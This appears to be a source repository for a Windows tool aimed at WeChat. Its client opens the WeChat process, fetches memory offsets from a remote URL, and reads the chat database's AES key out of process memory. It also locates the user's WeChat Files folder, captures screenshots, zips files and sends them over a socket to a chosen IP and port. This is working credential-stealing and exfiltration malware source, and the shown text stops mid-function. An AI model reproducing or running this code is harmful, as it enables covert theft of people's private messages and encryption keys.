├── FileUpload
    ├── Client.sln
    └── Client
    │   ├── Client.cpp
    │   ├── Client.vcxproj
    │   ├── Client.vcxproj.user
    │   ├── unzip.cpp
    │   ├── unzip.h
    │   ├── zip.cpp
    │   └── zip.h
├── README.md
└── SocketServer
    ├── Server.sln
    └── Server
        ├── Server.cpp
        ├── ShellcodeRun.vcxproj
        ├── ShellcodeRun.vcxproj.filters
        └── ShellcodeRun.vcxproj.user


/FileUpload/Client.sln:
--------------------------------------------------------------------------------
 1 | 
 2 | Microsoft Visual Studio Solution File, Format Version 12.00
 3 | # Visual Studio 15
 4 | VisualStudioVersion = 15.0.28307.1145
 5 | MinimumVisualStudioVersion = 10.0.40219.1
 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "nice", "Client\Client.vcxproj", "{7F97B6A1-DA10-43B2-BB56-72C45538CF80}"
 7 | EndProject
 8 | Global
 9 | 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | 		Debug|x64 = Debug|x64
11 | 		Debug|x86 = Debug|x86
12 | 		Release|x64 = Release|x64
13 | 		Release|x86 = Release|x86
14 | 	EndGlobalSection
15 | 	GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | 		{7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x64.ActiveCfg = Debug|x64
17 | 		{7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x64.Build.0 = Debug|x64
18 | 		{7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x86.ActiveCfg = Debug|Win32
19 | 		{7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x86.Build.0 = Debug|Win32
20 | 		{7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x64.ActiveCfg = Release|x64
21 | 		{7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x64.Build.0 = Release|x64
22 | 		{7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x86.ActiveCfg = Release|Win32
23 | 		{7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x86.Build.0 = Release|Win32
24 | 	EndGlobalSection
25 | 	GlobalSection(SolutionProperties) = preSolution
26 | 		HideSolutionNode = FALSE
27 | 	EndGlobalSection
28 | 	GlobalSection(ExtensibilityGlobals) = postSolution
29 | 		SolutionGuid = {8FB3C18A-B7DC-49DD-8E90-3972202B014B}
30 | 	EndGlobalSection
31 | EndGlobal
32 | 


--------------------------------------------------------------------------------
/FileUpload/Client/Client.cpp:
--------------------------------------------------------------------------------
   1 | #include <iostream>
   2 | #include <string>
   3 | #include <vector>
   4 | #include <Windows.h>
   5 | #include "zip.h"
   6 | #include "unzip.h"
   7 | #include <Winhttp.h>
   8 | #include <thread>
   9 | #include  <direct.h>  
  10 | #include <shlobj.h> // Needed to use the SHGetFolderPath function.
  11 | #include <atlimage.h>
  12 | //注意这个头文件
  13 | #include <io.h>
  14 | #include <wchar.h>
  15 | #include <atlstr.h>
  16 | #pragma comment(lib,"ws2_32.lib")
  17 | #pragma comment(lib,"Winhttp.lib")
  18 | #pragma comment(lib,"urlmon.lib")
  19 | #pragma comment(lib, "netapi32.lib")
  20 | 
  21 | #define GUID_LEN 64  
  22 | #define BUFSIZE 256
  23 | char * fname;
  24 | int counts = 0;
  25 | using namespace std;
  26 | 
  27 | 
  28 | void getFileNames(string path, vector<string>& files);
  29 | 
  30 | 
  31 | #define _CRT_SECURE_NO_WARNINGS
  32 | #define _WINSOCK_DEPRECATED_NO_WARNINGS
  33 | #define  MAX_DATA_BLOCK_SIZE 409600
  34 | 
  35 | 
  36 | void send_file(const char* file_name, const char* ip, u_short port) {
  37 | 
  38 | 	WSADATA wsaData;
  39 | 	SOCKET s;
  40 | 	FILE *fp;
  41 | 	struct sockaddr_in server_addr;
  42 | 	char data[MAX_DATA_BLOCK_SIZE];
  43 | 	int i;
  44 | 	int ret;
  45 | 	fp = fopen(file_name, "rb");
  46 | 	if (fp == NULL) {
  47 | 		//printf("无法打开文件\n");
  48 | 		return;
  49 | 	}
  50 | 	WSAStartup(0x202, &wsaData);
  51 | 	s = socket(AF_INET, SOCK_STREAM, 0);
  52 | 	memset((void *)&server_addr, 0, sizeof(server_addr));
  53 | 	server_addr.sin_family = AF_INET;
  54 | 	server_addr.sin_addr.s_addr = inet_addr(ip);
  55 | 	server_addr.sin_port = htons(port);
  56 | 	if (connect(s, (struct sockaddr *)&server_addr, sizeof(struct sockaddr_in)) == SOCKET_ERROR) {
  57 | 		//printf("连接服务器失败\n");
  58 | 		fclose(fp);
  59 | 		closesocket(s);
  60 | 		WSACleanup();
  61 | 		return;
  62 | 	}
  63 | 
  64 | 	//printf("发送文件名。。。\n");
  65 | 	send(s, file_name, strlen(file_name), 0);
  66 | 	send(s, "\0", 1, 0);
  67 | 
  68 | 	while (true)
  69 |  {
  70 | 		memset((void *)data, 0, sizeof(data));
  71 | 		i = fread(data, 1, sizeof(data), fp);
  72 | 		if (i == 0) {
  73 | 			printf("\nClient Upload Sucessful!\n");
  74 | 			break;
  75 | 		}
  76 | 		ret = send(s, data, i, 0);
  77 | 		putchar('.');
  78 | 		if (ret == SOCKET_ERROR) {
  79 | 			printf("\nerror\n");
  80 | 			break;
  81 | 		}
  82 | 	}
  83 | 	fclose(fp);
  84 | 	closesocket(s);
  85 | 	WSACleanup();
  86 | }
  87 | 
  88 | 
  89 | typedef struct _URL_INFO
  90 | {
  91 | 	WCHAR szScheme[512];
  92 | 	WCHAR szHostName[512];
  93 | 	WCHAR szUserName[512];
  94 | 	WCHAR szPassword[512];
  95 | 	WCHAR szUrlPath[512];
  96 | 	WCHAR szExtraInfo[512];
  97 | }URL_INFO, *PURL_INFO;
  98 | 
  99 | 
 100 | std::wstring GetRightStr(const std::wstring& source, const wchar_t* subStr)
 101 | {
 102 | 	int index = source.find(subStr);
 103 | 
 104 | 	std::wstring rightPart;
 105 | 	if (index >= 0)
 106 | 	{
 107 | 		rightPart = source.substr(index + wcslen(subStr));
 108 | 	}
 109 | 	return rightPart;
 110 | }
 111 | 
 112 | 
 113 | std::string  webhttp(const wchar_t *Url, DWORD*dwStatusCodeReturn = NULL)
 114 | {
 115 | 	URL_INFO url_info = { 0 };
 116 | 	URL_COMPONENTSW lpUrlComponents = { 0 };
 117 | 	lpUrlComponents.dwStructSize = sizeof(lpUrlComponents);
 118 | 	lpUrlComponents.lpszExtraInfo = url_info.szExtraInfo;
 119 | 	lpUrlComponents.lpszHostName = url_info.szHostName;
 120 | 	lpUrlComponents.lpszPassword = url_info.szPassword;
 121 | 	lpUrlComponents.lpszScheme = url_info.szScheme;
 122 | 	lpUrlComponents.lpszUrlPath = url_info.szUrlPath;
 123 | 	lpUrlComponents.lpszUserName = url_info.szUserName;
 124 | 
 125 | 	lpUrlComponents.dwExtraInfoLength =
 126 | 		lpUrlComponents.dwHostNameLength =
 127 | 		lpUrlComponents.dwPasswordLength =
 128 | 		lpUrlComponents.dwSchemeLength =
 129 | 		lpUrlComponents.dwUrlPathLength =
 130 | 		lpUrlComponents.dwUserNameLength = 512;
 131 | 
 132 | 	WinHttpCrackUrl(Url, 0, ICU_ESCAPE, &lpUrlComponents);
 133 | 
 134 | 	HINTERNET hSession = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, NULL, NULL, 0);
 135 | 	DWORD dwReadBytes = 0, dwSizeDW = sizeof(dwSizeDW), dwContentSize = 0, dwIndex = 0, dwStatusCode = 0;
 136 | 
 137 | 	HINTERNET hConnect = WinHttpConnect(hSession, lpUrlComponents.lpszHostName, lpUrlComponents.nPort, 0);
 138 | 
 139 | 	WCHAR fullUrlPath[5120] = { 0 };
 140 | 
 141 | 	wcscpy_s(fullUrlPath, lpUrlComponents.lpszUrlPath);
 142 | 
 143 | 	std::wstring rightPart = GetRightStr(Url, L"?");
 144 | 	if (rightPart != L"")
 145 | 	{
 146 | 		wcscat_s(fullUrlPath, L"?");
 147 | 		wcscat_s(fullUrlPath, rightPart.c_str());
 148 | 	}
 149 | 
 150 | 	//	HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"HEAD", fullUrlPath, L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
 151 | 	// 	WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
 152 | 	// 	WinHttpReceiveResponse(hRequest, 0);
 153 | 	// 	WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex);
 154 | 	// 	WinHttpCloseHandle(hRequest);
 155 | 
 156 | 	DWORD dwFlags = WINHTTP_FLAG_REFRESH;
 157 | 	if (_T(Url, _T("https")))
 158 | 		dwFlags |= WINHTTP_FLAG_SECURE;
 159 | 	HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", fullUrlPath, L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, dwFlags);
 160 | 	WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
 161 | 	WinHttpReceiveResponse(hRequest, 0);
 162 | 
 163 | 	dwSizeDW = sizeof(dwContentSize);
 164 | 	WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex);
 165 | 
 166 | 	dwSizeDW = sizeof(dwStatusCode);
 167 | 	WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwStatusCode, &dwSizeDW, NULL);
 168 | 	if (dwStatusCodeReturn)
 169 | 		*dwStatusCodeReturn = dwStatusCode;
 170 | 	BYTE *pBuffer = NULL;
 171 | 	pBuffer = new BYTE[dwContentSize + 1];
 172 | 	ZeroMemory(pBuffer, dwContentSize + 1);
 173 | 
 174 | 	if (dwContentSize > 0)
 175 | 	{
 176 | 		do {
 177 | 			WinHttpReadData(hRequest, pBuffer, dwContentSize, &dwReadBytes);
 178 | 		} while (dwReadBytes == 0);
 179 | 	}
 180 | 
 181 | 	//std::cout << pBuffer << endl;
 182 | 	// delete pBuffer;
 183 | 	WinHttpCloseHandle(hRequest);
 184 | 	WinHttpCloseHandle(hConnect);
 185 | 	WinHttpCloseHandle(hSession);
 186 | 
 187 | 	std::string resultStr((char*)pBuffer);
 188 | 
 189 | 	if (pBuffer)
 190 | 	{
 191 | 		delete[]pBuffer;
 192 | 	}
 193 | 
 194 | 	return resultStr;
 195 | 
 196 | 
 197 | }
 198 | 
 199 | 
 200 | void Replace(std::string& str, const char* to_replaced, const char* newchars)
 201 | {
 202 | 	int sourceLen = strlen(to_replaced);
 203 | 	int targetLen = strlen(newchars);
 204 | 	for (std::string::size_type pos(0); pos != std::string::npos; pos += targetLen)
 205 | 	{
 206 | 		pos = str.find(to_replaced, pos);
 207 | 		if (pos != std::string::npos)
 208 | 			str.replace(pos, sourceLen, newchars);
 209 | 		else
 210 | 			break;
 211 | 	}
 212 | }
 213 | 
 214 | std::wstring Ansi2Unicode(const CHAR* orgStr)
 215 | {
 216 | 	if (!orgStr)
 217 | 		return NULL;
 218 | 
 219 | 	int len = -1;
 220 | 	int currentPageCode = CP_ACP;
 221 | 	len = MultiByteToWideChar(CP_ACP, 0, orgStr, -1, NULL, 0);
 222 | 
 223 | 	WCHAR * wszGBK = new WCHAR[len + 4];
 224 | 	if (!wszGBK)
 225 | 		return NULL;
 226 | 	MultiByteToWideChar(CP_ACP, 0, orgStr, -1, wszGBK, len);
 227 | 
 228 | 	std::wstring resultStr(wszGBK);
 229 | 	delete[]wszGBK;
 230 | 	return resultStr;
 231 | }
 232 | 
 233 | std::string Unicode2Ansi(const WCHAR* orgStr)
 234 | {
 235 | 	if (!orgStr)
 236 | 		return NULL;
 237 | 
 238 | 	int len = -1;
 239 | 	int currentPageCode = CP_ACP;
 240 | 	len = ::WideCharToMultiByte(CP_ACP, 0, orgStr, -1, NULL, 0, NULL, NULL);
 241 | 
 242 | 	CHAR * wszGBK = new CHAR[len + 4];
 243 | 	if (!wszGBK)
 244 | 		return NULL;
 245 | 	::WideCharToMultiByte(CP_ACP, 0, orgStr, -1, wszGBK, len, NULL, NULL);
 246 | 
 247 | 	std::string resultStr(wszGBK);
 248 | 	delete[]wszGBK;
 249 | 	return resultStr;
 250 | }
 251 | 
 252 | 
 253 | #include <tlhelp32.h>
 254 | #pragma comment(lib, "version.lib")
 255 | // #include <Psapi.h>	//EnumProcessModules
 256 | // #pragma comment(lib, "psapi.lib")
 257 | DWORD GetProcessID(LPCTSTR pName)
 258 | {
 259 | 	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 260 | 	if (INVALID_HANDLE_VALUE == hSnapshot)
 261 | 		return NULL;
 262 | 	PROCESSENTRY32 pe = { sizeof(pe) };
 263 | 	BOOL fOk;
 264 | 	for (fOk = Process32First(hSnapshot, &pe); fOk; fOk = Process32Next(hSnapshot, &pe))
 265 | 	{
 266 | 		if (!_tcsicmp(pe.szExeFile, pName))
 267 | 		{
 268 | 			CloseHandle(hSnapshot);
 269 | 			return pe.th32ProcessID;
 270 | 		}
 271 | 	}
 272 | 	CloseHandle(hSnapshot);
 273 | 	return NULL;
 274 | }
 275 | 
 276 | CString GetFileVersionInfo(LPCTSTR exePath)
 277 | {
 278 | 	CString fileDescription;
 279 | 	CString productVersion;
 280 | 	DWORD dwHandle = 0;
 281 | 	DWORD dwInfoSize = GetFileVersionInfoSize(exePath, &dwHandle);
 282 | 
 283 | 	if (dwInfoSize <= 0)
 284 | 		return _T("");
 285 | 
 286 | 	void *pvInfo = malloc(dwInfoSize);
 287 | 	if (!pvInfo)
 288 | 		return _T("");
 289 | 
 290 | 	if (::GetFileVersionInfo(exePath, 0, dwInfoSize, pvInfo))
 291 | 	{
 292 | 		struct LANGANDCODEPAGE {
 293 | 			WORD wLanguage;
 294 | 			WORD wCodePage;
 295 | 		} *lpTranslate;
 296 | 
 297 | 		UINT cbTranslate = 0;
 298 | 		if (VerQueryValue(pvInfo, _T("\\VarFileInfo\\Translation"), (void**)&lpTranslate, &cbTranslate)) {
 299 | 			// ONLY Read the file description for FIRST language and code page.
 300 | 			if ((cbTranslate / sizeof(struct LANGANDCODEPAGE)) > 0) {
 301 | 				const TCHAR *lpBuffer = 0;
 302 | 				UINT  cbSizeBuf = 0;
 303 | 				TCHAR  szSubBlock[50] = { 0 };
 304 | 
 305 | 				// Retrieve file description for language and code page 0
 306 | 
 307 | #if (_MSC_VER<=1200)
 308 | 				_stprintf(szSubBlock, _T("\\StringFileInfo\\%04x%04x//FileDescription"), lpTranslate[0].wLanguage, lpTranslate[0].wCodePage);
 309 | #else
 310 | 				_stprintf_s(szSubBlock, _T("\\StringFileInfo\\%04x%04x//FileDescription"), lpTranslate[0].wLanguage, lpTranslate[0].wCodePage);
 311 | #endif
 312 | 				if (VerQueryValue(pvInfo, szSubBlock, (void**)&lpBuffer, &cbSizeBuf)) {
 313 | 					fileDescription = lpBuffer;
 314 | 				}
 315 | 
 316 | 				// Retrieve file version for language and code page 0
 317 | #if (_MSC_VER<=1200)
 318 | 				_stprintf(szSubBlock, _T("\\StringFileInfo\\%04x%04x\\FileVersion"), lpTranslate[0].wLanguage, lpTranslate[0].wCodePage);
 319 | #else
 320 | 				_stprintf_s(szSubBlock, _T("\\StringFileInfo\\%04x%04x\\FileVersion"), lpTranslate[0].wLanguage, lpTranslate[0].wCodePage);
 321 | #endif
 322 | 				if (VerQueryValue(pvInfo, szSubBlock, (void**)&lpBuffer, &cbSizeBuf)) {
 323 | 					//warning4996: strncpy(lpoutProductVersion, lpBuffer, cbVerSize-1);
 324 | 					productVersion = lpBuffer;
 325 | 				}
 326 | 				// Retrieve others for language and code page 0 if you like
 327 | 				// ...
 328 | 			}
 329 | 		}
 330 | 	}
 331 | 
 332 | 	free(pvInfo);
 333 | 
 334 | 	return productVersion;
 335 | }
 336 | 
 337 | BYTE* GetBaseAddr(BYTE* wdBaseAddr, LPCTSTR version)
 338 | {
 339 | 	std::string resultStr = webhttp((L"https://jihulab.com/bluesky1/padding/-/raw/main/README.md"));
 340 | 	if (resultStr == "")
 341 | 	{
 342 | 		std::cout << "info download error" << std::endl;
 343 | 		return NULL;
 344 | 	}
 345 | 
 346 | 	std::string versionStr = Unicode2Ansi(CA2W(version));
 347 | 	Replace(resultStr, " ", "");
 348 | 	Replace(resultStr, "\t", "");
 349 | 
 350 | 	int offsetAddr = 0;
 351 | 	char targetVersion[256] = { 0 };
 352 | 	sprintf_s(targetVersion, "\"%s\"", versionStr.c_str());
 353 | 	const char* ptr = strstr(resultStr.c_str(), targetVersion);
 354 | 	if (!ptr)
 355 | 	{
 356 | 		std::cout << "[-] This Version Not Support1." << std::endl;
 357 | 		return NULL;
 358 | 	}
 359 | 	ptr = strstr(ptr, "\"addr\":\"");
 360 | 	if (!ptr)
 361 | 	{
 362 | 		std::cout << "[-] This Version Not Support2." << std::endl;
 363 | 		return NULL;
 364 | 	}
 365 | 
 366 | 	ptr += strlen("\"addr\":\"");
 367 | 
 368 | 	sscanf_s(ptr, "%x", &offsetAddr);
 369 | 
 370 | 	//std::cout << std::hex << offsetAddr << std::endl;
 371 | 
 372 | 	return wdBaseAddr + offsetAddr;
 373 | }
 374 | 
 375 | #include <fstream>
 376 | void DumpKey(int pid, MODULEENTRY32 ModEntry, LPCTSTR version, BYTE* wdBaseAddr)
 377 | {
 378 | 	BYTE* keyBase = GetBaseAddr(wdBaseAddr, version);
 379 | 	unsigned char wxname[100] = { 0 };
 380 | 
 381 | 
 382 | 	HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
 383 | 	SIZE_T readLen = 0;
 384 | 	DWORD Pointer = 0;
 385 | 	if (!::ReadProcessMemory(hProcess, keyBase, &Pointer, sizeof(Pointer), &readLen))
 386 | 	{
 387 | 		std::cout << "[-] Error code1:" << ::GetLastError() << std::endl;
 388 | 		return;
 389 | 	}
 390 | 	byte keyBuf[32] = { 0 };
 391 | 	if (!::ReadProcessMemory(hProcess, (LPCVOID)Pointer, keyBuf, sizeof(keyBuf), &readLen))
 392 | 	{
 393 | 		std::cout << "[-] Error code2:" << ::GetLastError() << std::endl;
 394 | 		return;
 395 | 	}
 396 | 	//DWORD wxAddr = (DWORD)wdBaseAddr + 37895736;
 397 | 	//printf("wxAddr = %x\n", wxAddr);
 398 | 	//ReadProcessMemory(hProcess, (LPCVOID)wxAddr, wxname, 100, NULL);
 399 | 	//printf("%s\n", wxname);
 400 | 	std::string printStr, outputStr;
 401 | 	for (int ki = 0; ki < sizeof(keyBuf); ki++)
 402 | 	{
 403 | 		char buf[256] = { 0 };
 404 | 		sprintf_s(buf, "%02X", keyBuf[ki]);
 405 | 		printStr += buf;
 406 | 
 407 | 		if (ki > 0)
 408 | 			sprintf_s(buf, ",0x%02X", keyBuf[ki]);
 409 | 		else
 410 | 			sprintf_s(buf, "0x%02X", keyBuf[ki]);
 411 | 		outputStr += buf;
 412 | 	}
 413 | 	std::cout << "[+] Dump AES Key Success:" << printStr << std::endl;
 414 | 
 415 | 	std::ofstream outFile;//实例化ofstream类，创建outFile对象，outFile是对象名字，可以随便取，以后的操作就是对outFile对象进行的
 416 | 	outFile.open("DBPass.Bin");//调用outFile对象中的open函数，作用是将outFile对象与文件进行关联，参数是文件名，如果filename.txt不存在，则自动创建一个叫filename.txt的文件并与其关联。注：open()函数的参数可以是字符串也可是字符数组（如：char name[];outFile.open(name)）
 417 | 	//警告：如果打开一个已存在的文件，这个文件里现存的所有内容都会丢失！！！
 418 | 	outFile << outputStr;//向文件进行写入，因为cout其实也是ofstream类的一个对象，所以凡是能用于cout的也一样可以用于outFile，两者用法类似
 419 | 	outFile.close();
 420 | }
 421 | 
 422 | void OpenWechatProc(DWORD processID)
 423 | {
 424 | 	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, processID);
 425 | 	if (hSnapshot == INVALID_HANDLE_VALUE)
 426 | 		return;
 427 | 
 428 | 	MODULEENTRY32 me = { sizeof(me) };
 429 | 	CString result;
 430 | 	for (BOOL bOk = Module32First(hSnapshot, &me); bOk; bOk = Module32Next(hSnapshot, &me))
 431 | 	{
 432 | 		if (!_tcsicmp(me.szModule, _T("WeChatWin.dll")))
 433 | 		{
 434 | 			CString dllVersion = GetFileVersionInfo(me.szExePath);
 435 | 			std::cout << "[*] WeChatWin Version:" << dllVersion << std::endl;
 436 | 			DumpKey(processID, me, dllVersion, me.modBaseAddr);
 437 | 			break;
 438 | 		}
 439 | 	}
 440 | 	::CloseHandle(hSnapshot);
 441 | }
 442 | 
 443 | 
 444 | 
 445 | 
 446 | 
 447 | 
 448 | void getPath(char *dbpath)
 449 | {
 450 | 	char cmd_command[256] = { 0 };
 451 | 	char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";
 452 | 	HKEY hKey;
 453 | 	DWORD dwType = REG_BINARY;
 454 | 	REGSAM mode = KEY_READ;
 455 | 	DWORD length = 256;
 456 | 	int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hKey);
 457 | 
 458 | 	ret = RegQueryValueEx(hKey, "Personal", 0, &dwType, (LPBYTE)dbpath, &length);
 459 | 	strcat(dbpath, "\\WeChat Files");
 460 | 	cout << "Please send back after human judgment!!!\n" << dbpath << endl;
 461 | 
 462 | 	if (ret == 0) {
 463 | 		RegCloseKey(hKey);
 464 | 	}
 465 | 	else {
 466 | 		printf("failed to open regedit.%d\n", ret);
 467 | 	}
 468 | }
 469 | 
 470 | 
 471 | 
 472 | BOOL PaintMouse(HDC hdc)
 473 | {
 474 | 	HDC bufdc = NULL;
 475 | 	CURSORINFO cursorInfo = { 0 };
 476 | 	ICONINFO iconInfo = { 0 };
 477 | 	HBITMAP bmpOldMask = NULL;
 478 | 
 479 | 	bufdc = CreateCompatibleDC(hdc);
 480 | 	RtlZeroMemory(&iconInfo, sizeof(cursorInfo));
 481 | 	cursorInfo.cbSize = sizeof(cursorInfo);
 482 | 
 483 | 	GetCursorInfo(&cursorInfo);
 484 | 
 485 | 	GetIconInfo(cursorInfo.hCursor, &iconInfo);
 486 | 
 487 | 	bmpOldMask = (HBITMAP)SelectObject(bufdc, iconInfo.hbmMask);
 488 | 	BitBlt(hdc, cursorInfo.ptScreenPos.x, cursorInfo.ptScreenPos.y, 20, 20, bufdc, 0, 0, SRCAND);
 489 | 	SelectObject(bufdc, iconInfo.hbmColor);
 490 | 	BitBlt(hdc, cursorInfo.ptScreenPos.x, cursorInfo.ptScreenPos.y, 20, 20, bufdc, 0, 0, SRCPAINT);
 491 | 
 492 | 	SelectObject(bufdc, bmpOldMask);
 493 | 	DeleteObject(iconInfo.hbmColor);
 494 | 	DeleteObject(iconInfo.hbmMask);
 495 | 	DeleteDC(bufdc);
 496 | 	return TRUE;
 497 | }
 498 | 
 499 | BOOL SaveBmp(HBITMAP hBmp, LPCTSTR imageName)
 500 | {
 501 | 	//LPCTSTR imageName = "weixin.png";
 502 | 	ATL::CImage image;
 503 | 	image.Attach(hBmp);
 504 | 	image.Save(imageName);
 505 | 	return TRUE;
 506 | }
 507 | 
 508 | 
 509 | 
 510 | char *randstr(char *str, const int len)
 511 | {
 512 | 	srand(time(NULL));
 513 | 	int i;
 514 | 	for (i = 0; i < len; ++i)
 515 | 	{
 516 | 		switch ((rand() % 3))
 517 | 		{
 518 | 		case 1:
 519 | 			str[i] = 'A' + rand() % 26;
 520 | 			break;
 521 | 		case 2:
 522 | 			str[i] = 'a' + rand() % 26;
 523 | 			break;
 524 | 		default:
 525 | 			str[i] = '0' + rand() % 10;
 526 | 			break;
 527 | 		}
 528 | 	}
 529 | 	str[i] = '\0';
 530 | 	return str;
 531 | }
 532 | 
 533 | 
 534 | 
 535 | BOOL ScreenCapture(LPCTSTR imageName)
 536 | {
 537 | 	HWND hDesktopWnd = GetDesktopWindow();
 538 | 	HDC hdc = GetDC(hDesktopWnd);
 539 | 	HDC mdc = CreateCompatibleDC(hdc);
 540 | 	DWORD dwScreenWidth = GetSystemMetrics(SM_CXSCREEN);
 541 | 	DWORD dwScreenHeight = GetSystemMetrics(SM_CYSCREEN);
 542 | 	HBITMAP bmp = CreateCompatibleBitmap(hdc, dwScreenWidth, dwScreenHeight);
 543 | 	HBITMAP holdbmp = (HBITMAP)SelectObject(mdc, bmp);
 544 | 	BitBlt(mdc, 0, 0, dwScreenWidth, dwScreenHeight, hdc, 0, 0, SRCCOPY);
 545 | 	PaintMouse(mdc);
 546 | 	SaveBmp(bmp, imageName);
 547 | 	DeleteDC(hdc);
 548 | 	DeleteDC(mdc);
 549 | 	return TRUE;
 550 | 
 551 | 
 552 | }
 553 | 
 554 | 
 555 | 
 556 | static ZRESULT DirToZip(HZIP& hz, LPCTSTR lpszSrcPath, int nBasePos)
 557 | {
 558 | 	DWORD zResult = ZR_OK;
 559 | 
 560 | 	WIN32_FIND_DATA fileData;
 561 | 	TCHAR szFile[MAX_PATH] = { 0 };
 562 | 	int nStart = _tcslen(lpszSrcPath);
 563 | 	_tcscpy(szFile, lpszSrcPath);
 564 | 	if (nStart&&_T('\\') != lpszSrcPath[nStart - 1]) {
 565 | 		if (nBasePos == nStart) nBasePos++;
 566 | 		szFile[nStart++] = _T('\\');
 567 | 	}
 568 | 	_tcscpy(szFile + nStart, _T("*"));
 569 | 	HANDLE file = FindFirstFile(szFile, &fileData);
 570 | 	while (FindNextFile(file, &fileData))
 571 | 	{
 572 | 		if (fileData.cFileName[0] == _T('.'))
 573 | 			continue;
 574 | 		_tcscpy(szFile + nStart, fileData.cFileName);
 575 | 		// 如果是一个文件目录
 576 | 		if (fileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
 577 | 		{
 578 | 			ZipAddFolder(hz, szFile + nBasePos);
 579 | 			// 存在子文件夹 递归调用
 580 | 			DirToZip(hz, szFile, nBasePos);
 581 | 		}
 582 | 		else
 583 | 		{
 584 | 			zResult = ZipAdd(hz, szFile + nBasePos, szFile);
 585 | 			// if (zResult != ZR_OK) return zResult;
 586 | 		}
 587 | 	}
 588 | 	return zResult;
 589 | }
 590 | 
 591 | 
 592 | 
 593 | void OneFile(char* pfilename, char* pfilter)
 594 | {
 595 | 	WIN32_FIND_DATA findfiledate;
 596 | 	HANDLE hfind;
 597 | 	char filename[512];
 598 | 	char lpFileName[512];
 599 | 	char _lpFileName[512];
 600 | 	int i;
 601 | 	for (i = 0; *(pfilename + i) != '\0'; i++)
 602 | 		filename[i] = *(pfilename + i);
 603 | 	filename[i] = '\0';
 604 | 	//如果最后一字符不是'\'
 605 | 	if (filename[strlen(filename) - 1] != '\\')
 606 | 		strcat(filename, "\\"); //添加'\'
 607 | 	strcpy(lpFileName, filename);
 608 | 	strcat(lpFileName, pfilter);
 609 | 	hfind = FindFirstFile(lpFileName, &findfiledate);
 610 | 	if (hfind == INVALID_HANDLE_VALUE)
 611 | 		return;
 612 | 	do
 613 | 	{
 614 | 		if (!(findfiledate.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY))
 615 | 		{
 616 | 			//如果找到指定文件
 617 | 			//if (strstr(findfiledate.cFileName, fname))
 618 | 			//printf("%s", fname);
 619 | 			if (strstr(findfiledate.cFileName, fname))
 620 | 			{
 621 | 
 622 | 				printf("%s%s\n", filename, findfiledate.cFileName);
 623 | 				counts++;
 624 | 			}
 625 | 		}
 626 | 		else
 627 | 		{
 628 | 			if (findfiledate.cFileName[0] != '.')
 629 | 			{
 630 | 				strcpy(_lpFileName, filename);
 631 | 				strcat(_lpFileName, (const char*)findfiledate.cFileName);
 632 | 				OneFile(_lpFileName, pfilter);
 633 | 			}
 634 | 		}
 635 | 	} while (FindNextFile(hfind, &findfiledate));
 636 | 	FindClose(hfind);
 637 | 
 638 | }
 639 | 
 640 | void FindFile(char* pfilename, char* pfilter, char* fname, char* tempdir)
 641 | {
 642 | 
 643 | 	WIN32_FIND_DATA findfiledate;
 644 | 	HANDLE hfind;
 645 | 	char filename[1000];
 646 | 	char lpFileName[1000];
 647 | 	char _lpFileName[1000];
 648 | 
 649 | 
 650 | 	char source[1000];
 651 | 	char target[1000];
 652 | 
 653 | 	int i;
 654 | 	for (i = 0; *(pfilename + i) != '\0'; i++)
 655 | 		filename[i] = *(pfilename + i);
 656 | 	filename[i] = '\0';
 657 | 	//如果最后一字符不是'\'
 658 | 	if (filename[strlen(filename) - 1] != '\\')
 659 | 		strcat(filename, "\\"); //添加'\'
 660 | 	strcpy(lpFileName, filename);
 661 | 	strcat(lpFileName, pfilter);
 662 | 	hfind = FindFirstFile(lpFileName, &findfiledate);
 663 | 	string res;
 664 | 	if (hfind == INVALID_HANDLE_VALUE)
 665 | 		return;
 666 | 	do
 667 | 	{
 668 | 		if (!(findfiledate.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY))
 669 | 		{
 670 | 			//如果找到指定文件
 671 | 
 672 | 			//	if (strcmp(findfiledate.cFileName, fname) == 0)
 673 | 
 674 | 			if (strstr(findfiledate.cFileName, fname))
 675 | 			{	
 676 | 				//printf("%s%s\n", findfiledate.cFileName, fname);
 677 | 				res = findfiledate.cFileName;
 678 | 				res = res.substr(res.find_last_of('.') + 1);//获取文件后缀
 679 | 				if (res.data() == fname)
 680 | 					printf("%s\n", res.c_str());
